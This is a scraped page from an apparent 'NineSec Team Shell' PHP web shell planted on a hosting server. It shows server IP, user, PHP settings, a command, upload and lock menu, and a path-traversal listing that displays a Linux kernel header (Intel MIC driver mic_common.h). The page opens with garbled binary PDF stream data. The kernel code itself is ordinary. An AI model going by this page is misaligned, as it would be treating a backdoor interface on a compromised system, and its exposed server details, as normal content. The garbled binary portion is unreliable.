%PDF-1.3 %âãÏÓ 1 0 obj<> endobj 2 0 obj<> endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream xœ¥\mo7þ ÿa?îâñH£ÑÌàŠyi{¹$EÚ(i?¬cÇÞÄkûürAþý‰½Žv·EÛízF¢HI|H‘Ô?¿{Ø|Z|X|÷Ýñó‡‡õÇËó³Å‡ã77Û?O¾Ýž¿__l®×››ëãßOàя77çwß¿xñêåâÅÉÓ'Ç?ªÅ°8ùôôI] µûgQ»ÔB©¦2zaà³]œlÝûÅ|üôôɇåÛ՟‹“?}òƒ£ " L* & J * j .  N (8HXhx )9IYiy *:JZjz +;K[k{ , C> r. ^ ~ N @ qO!  ` ( S A  �a=  ! wQ It Ba @l q T  f !U* A 9%n o M - 5J  w@O|l:Bg y= B=jq K - jM 4EP N q�f ^ u>� $k�( �H l�EW o W  %l d] 6 ] - L  > 9 t* y 4� b 5 Q\ \�v U  2c 3  c qM�= |  IT: S � |{; ^| e]/ n3g _ > t! y {  Zm \{o]'S ~ VN a w - u x* " �3 }$jH q w bx B" < 5b }%�+ 09_h>G u7$ y MJ$ Y&X z (r ` [N _pny!lu o x `N d z Oy O.* r  _s iQ  BRx�.) _6jV ] # W RVy k~ cI Y H  dsR  rZ+ )f�d v*� ' i � G j * cB� zi  _  j z[ 7; 2 -  zZ  f V � z9 JR n  72 81 [e n &ci ( r  U q _+q rV 3  " > ;1 0x >{ |` r h W q f 3� l� ]u b-5 Fwm z zp)M ) jO q� u q  E K l 7  [[ y Xg e ~ , 9 � k; +ny  )s=9) � u_l " Z ; x =. M= +? ^  q $ .[ i [ Fj y Ux { >_ xH  > ; 8 < w/l hy  9o <: 'f4 |   w� e  G G * !# b` B,  $*q Ll   (Jq T r ,jq \   0 q d, � 4 q ll   8 q t  < q |   @ r , ! D*r l # HJr %/ Ljr '? P r , ) Q; gzuncompress NineSec Team Shell
NineSec Team Shell
Server IP : 217.21.91.109  /  Your IP : 216.73.217.4
Web Server : LiteSpeed
System : Linux in-mum-web830.main-hosting.eu 4.18.0-553.34.1.lve.el8.x86_64 #1 SMP Thu Jan 9 16:30:32 UTC 2025 x86_64
User : u903744608 ( 903744608)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF
Directory (0755) :  /etc/fonts/../my.cnf.d/../../../opt/../../usr/include/libxml2/../netrose/../linux/

[  Home  ][  C0mmand  ][  Upload File  ][  Lock Shell  ][  Logout  ]

Current File : //etc/fonts/../my.cnf.d/../../../opt/../../usr/include/libxml2/../netrose/../linux/mic_common.h
/* SPDX-License-Identifier: GPL-2.0 WITH Linux-syscall-note */
/*
 * Intel MIC Platform Software Stack (MPSS)
 *
 * Copyright(c) 2013 Intel Corporation.
 *
 * This program is free software; you can redistribute it and/or modify
 * it under the terms of the GNU General Public License, version 2, as
 * published by the Free Software Foundation.
 *
 * This program is distributed in the hope that it will be useful, but
 * WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
 * General Public License for more details.
 *
 * The full GNU General Public License is included in this distribution in
 * the file called "COPYING".
 *
 * Intel MIC driver.
 *
 */
#ifndef __MIC_COMMON_H_
#define __MIC_COMMON_H_

#include <linux/virtio_ring.h>

#define __mic_align(a, x) (((a) + (x) - 1) & ~((x) - 1))

/**
 * struct mic_device_desc: Virtio device information shared between the
 * virtio driver and userspace backend
 *
 * @type: Device type: console/network/disk etc.  Type 0/-1 terminates.
 * @num_vq: Number of virtqueues.
 * @feature_len: Number of bytes of feature bits.  Multiply by 2: one for
   host features and one for guest acknowledgements.
 * @config_len: Number of bytes of the config array after virtqueues.
 * @status: A status byte, written by the Guest.
 * @config: Start of the following variable length config.
 */
struct mic_device_desc {
	__s8 type;
	__u8 num_vq;
	__u8 feature_len;
	__u8 config_len;
	__u8 status;
	__le64 config[0];
} __attribute__ ((aligned(8)));

/**
 * struct mic_device_ctrl: Per virtio device information in the device page
 * used internally by the host and card side drivers.
 *
 * @vdev: Used for storing MIC vdev information by the guest.
 * @config_change: Set to 1 by host when a config change is requested.
 * @vdev_reset: Set to 1 by guest to indicate virtio device has been reset.
 * @guest_ack: Set to 1 by guest to ack a command.
 * @host_ack: Set to 1 by host to ack a command.
 * @used_address_updated: Set to 1 by guest when the used address should be
 * updated.
 * @c2h_vdev_db: The doorbell number to be used by guest. Set by host.
 * @h2c_vdev_db: The doorbell number to be used by host. Set by guest.
 */
struct mic_device_ctrl {
	__le64 vdev;
	__u8 config_change;
	__u8 vdev_reset;
	__u8 guest_ack;
	__u8 host_ack;
	__u8 used_address_updated;
	__s8 c2h_vdev_db;
	__s8 h2c_vdev_db;
} __attribute__ ((aligned(8)));

/**
 * struct mic_bootparam: Virtio device independent information in device page
 *
 * @magic: A magic value used by the card to ensure it can see the host
 * @h2c_config_db: Host to Card Virtio config doorbell set by card
 * @node_id: Unique id of the node
 * @h2c_scif_db - Host to card SCIF doorbell set by card
 * @c2h_scif_db - Card to host SCIF doorbell set by host
 * @scif_host_dma_addr - SCIF host queue pair DMA address
 * @scif_card_dma_addr - SCIF card queue pair DMA address
 */
struct mic_bootparam {
	__le32 magic;
	__s8 h2c_config_db;
	__u8 node_id;
	__u8 h2c_scif_db;
	__u8 c2h_scif_db;
	__u64 scif_host_dma_addr;
	__u64 scif_card_dma_addr;
} __attribute__ ((aligned(8)));

/**
 * struct mic_device_page: High level representation of the device page
 *
 * @bootparam: The bootparam structure is used for sharing information and
 * status updates between MIC host and card drivers.
 * @desc: Array of MIC virtio device descriptors.
 */
struct mic_device_page {
	struct mic_bootparam bootparam;
	struct mic_device_desc desc[0];
};
/**
 * struct mic_vqconfig: This is how we expect the device configuration field
 * for a virtqueue to be laid out in config space.
 *
 * @address: Guest/MIC physical address of the virtio ring
 * (avail and desc rings)
 * @used_address: Guest/MIC physical address of the used ring
 * @num: The number of entries in the virtio_ring
 */
struct mic_vqconfig {
	__le64 address;
	__le64 used_address;
	__le16 num;
} __attribute__ ((aligned(8)));

/*
 * The alignment to use between consumer and producer parts of vring.
 * This is pagesize for historical reasons.
 */
#define MIC_VIRTIO_RING_ALIGN		4096

#define MIC_MAX_VRINGS			4
#define MIC_VRING_ENTRIES		128

/*
 * Max vring entries (power of 2) to ensure desc and avail rings
 * fit in a single page
 */
#define MIC_MAX_VRING_ENTRIES		128

/**
 * Max size of the desc block in bytes: includes:
 *	- struct mic_device_desc
 *	- struct mic_vqconfig (num_vq of these)
 *	- host and guest features
 *	- virtio device config space
 */
#define MIC_MAX_DESC_BLK_SIZE		256

/**
 * struct _mic_vring_info - Host vring info exposed to userspace backend
 * for the avail index and magic for the card.
 *
 * @avail_idx: host avail idx
 * @magic: A magic debug cookie.
 */
struct _mic_vring_info {
	__u16 avail_idx;
	__le32 magic;
};

/**
 * struct mic_vring - Vring information.
 *
 * @vr: The virtio ring.
 * @info: Host vring information exposed to the userspace backend for the
 * avail index and magic for the card.
 * @va: The va for the buffer allocated for vr and info.
 * @len: The length of the buffer required for allocating vr and info.
 */
struct mic_vring {
	struct vring vr;
	struct _mic_vring_info *info;
	void *va;
	int len;
};

#define mic_aligned_desc_size(d) __mic_align(mic_desc_size(d), 8)

#ifndef INTEL_MIC_CARD
static __inline__ unsigned mic_desc_size(const struct mic_device_desc *desc)
{
	return sizeof(*desc) + desc->num_vq * sizeof(struct mic_vqconfig)
		+ desc->feature_len * 2 + desc->config_len;
}

static __inline__ struct mic_vqconfig *
mic_vq_config(const struct mic_device_desc *desc)
{
	return (struct mic_vqconfig *)(desc + 1);
}

static __inline__ __u8 *mic_vq_features(const struct mic_device_desc *desc)
{
	return (__u8 *)(mic_vq_config(desc) + desc->num_vq);
}

static __inline__ __u8 *mic_vq_configspace(const struct mic_device_desc *desc)
{
	return mic_vq_features(desc) + desc->feature_len * 2;
}
static __inline__ unsigned mic_total_desc_size(struct mic_device_desc *desc)
{
	return mic_aligned_desc_size(desc) + sizeof(struct mic_device_ctrl);
}
#endif

/* Device page size */
#define MIC_DP_SIZE 4096

#define MIC_MAGIC 0xc0ffee00

/**
 * enum mic_states - MIC states.
 */
enum mic_states {
	MIC_READY = 0,
	MIC_BOOTING,
	MIC_ONLINE,
	MIC_SHUTTING_DOWN,
	MIC_RESETTING,
	MIC_RESET_FAILED,
	MIC_LAST
};

/**
 * enum mic_status - MIC status reported by card after
 * a host or card initiated shutdown or a card crash.
 */
enum mic_status {
	MIC_NOP = 0,
	MIC_CRASHED,
	MIC_HALTED,
	MIC_POWER_OFF,
	MIC_RESTART,
	MIC_STATUS_LAST
};

#endif

NineSec Team - 2022